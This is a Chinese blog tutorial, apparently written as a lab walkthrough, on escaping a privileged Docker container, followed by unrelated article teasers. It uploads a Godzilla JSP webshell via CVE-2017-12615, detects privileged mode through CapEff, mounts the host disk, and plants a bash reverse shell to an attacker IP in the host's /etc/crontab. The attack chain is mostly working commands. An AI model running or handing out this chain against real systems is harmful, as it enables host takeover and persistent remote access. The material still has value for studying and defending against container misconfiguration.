特权模式docker逃逸

devtools/2025/2/5 23:05:29/

目录

1.环境

2.上线哥斯拉

3.特权模式逃逸

docker%E7%8E%AF%E5%A2%83-toc" name="tableOfContents" style="margin-left:40px">1.判断是否为docker环境

2.判断是否为特权模式

docker-toc" name="tableOfContents" style="margin-left:40px">3.挂载宿主机磁盘到docker

 4.计划任务反弹shell


1.环境

ubuntu部署一个存在CVE-2017-12615的docker:   (ip:192.168.117.147)    

kali(ip:192.168.117.128)

哥斯拉

2.上线哥斯拉

这里用PUT上传哥斯拉生成的jsp马直接上线:

3.特权模式逃逸

docker%E7%8E%AF%E5%A2%83" name="1.%E5%88%A4%E6%96%AD%E6%98%AF%E5%90%A6%E4%B8%BAdocker%E7%8E%AF%E5%A2%83">1.判断是否为docker环境

ls -alh /.dockerenv    //如果存在即为docker环境

2.判断是否为特权模式

cat /proc/self/status | grep CapEff	//cat /proc/self/status​ 用于查看当前进程的状态信息。
//grep CapEff​ 用于从输出结果中过滤出 CapEff 相关的行
//capability ​是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

 如果是这两种情况之一,即可判断为当前docker为特权模式启动 :

0000003fffffffff
0000001fffffffff

docker" name="3.%E6%8C%82%E8%BD%BD%E5%AE%BF%E4%B8%BB%E6%9C%BA%E7%A3%81%E7%9B%98%E5%88%B0docker">3.挂载宿主机磁盘到docker

fdisk -l                 //列出所有磁盘,找到宿主机的磁盘
mkdir ceshi              //创建一个目录用于挂载磁盘
mount /dev/sda1  ceshi   //将宿主机的磁盘挂载到ceshi目录下,即可操作宿主机磁盘上的内容了

 4.计划任务反弹shell

当前docker没有vi,vim,nano等,这里用echo写入:

touch test.sh                
echo 'bash -i >& /dev/tcp/192.168.117.128/4444 0>&1' >test.sh    
echo '* * * * * root bash test.sh' >> /etc/crontab    

然后kali这边监听就可以了:

nc -lvvp 4444


http://www.ppmy.cn/devtools/156388.html

相关文章

MongoDb user自定义 role 添加 action(collStats, EstimateDocumentCount)

使用 mongosh cd mongsh_bin_path mongosh “mongodb://user:passip:port/db”这样就直接进入了对应的db 直接输入: 这样 role “read_only_role" 就获得了3个 action, 分别是 查询,列举集合,集合元数据查询 P.S: 如果没有 …

RK3568使用QT操作LED灯

文章目录 一、QT中操作硬件设备思路Linux 中的设备文件操作硬件设备的思路1. 打开设备文件2. 写入数据到设备3. 从设备读取数据4. 设备控制5. 异常处理在 Qt 中操作设备的典型步骤实际应用中的例子:控制 LED总结二、QT实战操作LED灯设备1. `mainwindow.h` 头文件2. `mainwindo…

玩转Docker | 使用Docker部署MySQL数据库

玩转Docker | 使用Docker部署MySQL数据库 玩转Docker | 使用Docker部署MySQL数据库一、Docker简介(一)Docker是什么(二)Docker的优势二、准备工作(一)安装Docker(二)了解MySQL数据库三、使用Docker部署MySQL数据库(一)拉取MySQL镜像(二)运行MySQL容器(三)验证MyS…

SpringBoot+Vue的理解(含axios/ajax)-前后端交互前端篇

文章目录 引言SpringBootThymeleafVueSpringBootSpringBootVue(前端)axios/ajaxVue作用响应式动态绑定单页面应用SPA前端路由 前端路由URL和后端API URL的区别前端路由的数据从哪里来的 Vue和只用三件套axios区别 关于地址栏url和axios请求不一致VueJSPS…

maven构件子模块步骤及注意事项

一、创建父工程 父工程可以是顶级父工程,也可以是在父工程下,父工程的packaging需要设置为pom;父工程下的子级父工程,主要作用是模块聚合,即继承父工程和modules聚合,没有src文件,pom文件也不做…

PHP 调用 DeepSeek API 完整指南

简介 本文将介绍如何使用 PHP 调用 DeepSeek API,实现流式对话并保存对话记录。PHP 版本使用面向对象的方式实现,代码结构清晰,易于维护。 1. 环境准备 1.1 系统要求 PHP 7.0 或更高版本PHP cURL 扩展文件写入权限 1.2 项目结构 deepse…

ONE NET MQTT+HTTP多端控制

使用移动的ONENET实现数据上传与远程控制,数据上传使用MQTT协议(ESP8266),而数据查看和远程控制使用的HTTP(安卓端/QT),效果: ONENET简单MQTT和HTTP使用 ESP8266通过MQTT上传和订阅数…

Vue整合Axios

目标 将 axios 请求方法,封装到 request 模块 我们会使用 axios 来请求后端接口, 一般都会对 axios 进行一些配置 (比如: 配置基础地址,请求响应拦截器等等) 一般项目开发中, 都会对 axios 进行基本的二次封装, 单独封装到一个模块中, 便于使用 安装 Axios npm …